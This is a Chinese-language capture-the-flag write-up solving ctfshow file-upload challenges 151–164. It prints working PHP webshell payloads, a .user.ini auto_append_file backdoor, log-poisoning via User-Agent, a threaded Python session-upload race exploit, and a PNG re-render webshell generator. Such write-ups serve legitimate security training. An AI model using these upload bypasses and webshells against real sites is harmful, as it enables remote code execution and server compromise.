151
绕过前端后缀名检验
152
前端+MIME
153
无法抓包上传php文件了。
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
也就是我们可以通过目录下的.user.ini中的内容重写全局配置文件php.ini。
在.user.ini中有两个配置选项:
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
当这两个选项被配置时,当前目录下的php文件都会遵循这两个选项,在头尾include()
相应的文件。
当然open_basedir
也可以在.user.ini中重写。
由此,我们可以先上传一个png马,再上传一个.user.ini进行配置重写,即可使index.php中包含木马文件。
先上传png马:
再上传.user.ini文件:
payload为:
auto_append_file="/var/www/html/upload/1.png"
最后访问/upload/index.php,并带有如下get参数即可:
/upload/index.php?1=system('tac ../flag.php');
注意,我们的操作都是在upload目录下的,所以也应该访问upload目录下默认的php文件,才会包含进木马。
154~155
上传.user.ini文件没有问题,但是上传图片马时候出了问题,原因在于对图片马内容做了检测,不能有<xphp
出现,其中x
是任意字符。使用短标签绕过。
php中短标签的写法有如下四种:
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '123'; </script> //不需要修改参数开关
不过第三种与第四种只能在php7.0以下使用。
那么只需要在上一题的基础上将图片马的内容改为:
<?=eval($_GET[1]);?>
上传图片马:
上传.user.ini文件:
156
测试,又是文件内容过滤了 php
.
紧接着发现事情没这么简单,还过滤了[
,这给传参造成了一定的困难。
但是我们可以直接
<?=system('cat ../flag.???');
<?=eval($_POST{'a'}); # 用 {} 代替 []
157~158
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名单
经测试,对文件内容过滤了 php
、[
、{
、 ;
上传.user.ini
我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>
结束标志。
上传 2.png
<?=system('ls ../')?>
<?=system('cat ../*')?>
访问upload/index.php
159
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
问题不大,不能用函数了。
那我们用反引号代替system()
<?=`cat ../*`?>
160
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
、 反引号 、空格。
好家伙。包含日志文件,但发现 log
也被过滤了。那就进行拼接。
上传.user.ini
后,在上传 ma.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
看到页面回显,确实包含了。
想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E
还是再UA出比较好。
修改UA User-Agent: <?php eval($_POST[1]);?>
然后成功getshell.
161
检测文件头
发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。
上传 GIF89a
成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。
其余操作和上题相同。
162
又把.
给ban了,使用session文件包含。
先上传.user.ini文件,因为把.
过滤了,所以包含的文件名直接改为png
即可:
然后上传png
文件,其中包含了session文件:
接下来就是开始条件竞争去创建session文件,一边上传文件一边去验证是否包含session成功:
#-- coding:UTF-8 --
import io
import requests
import threading
url = 'http://9bb9ff09-db3f-4fa6-9a13-48a52e7eb10f.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
while True:
f = io.BytesIO(b'GIF89a\nctfshow')
files = {'file': ('1.png', f, 'image/png')}
response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
while True:
response = session.get(url+'upload/')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
164
这一题考察的是png图片的二次渲染,参考:
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
生成图片马如下:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
可以看到其中是有木马的:
然后访问图片地址即可进行代码执行: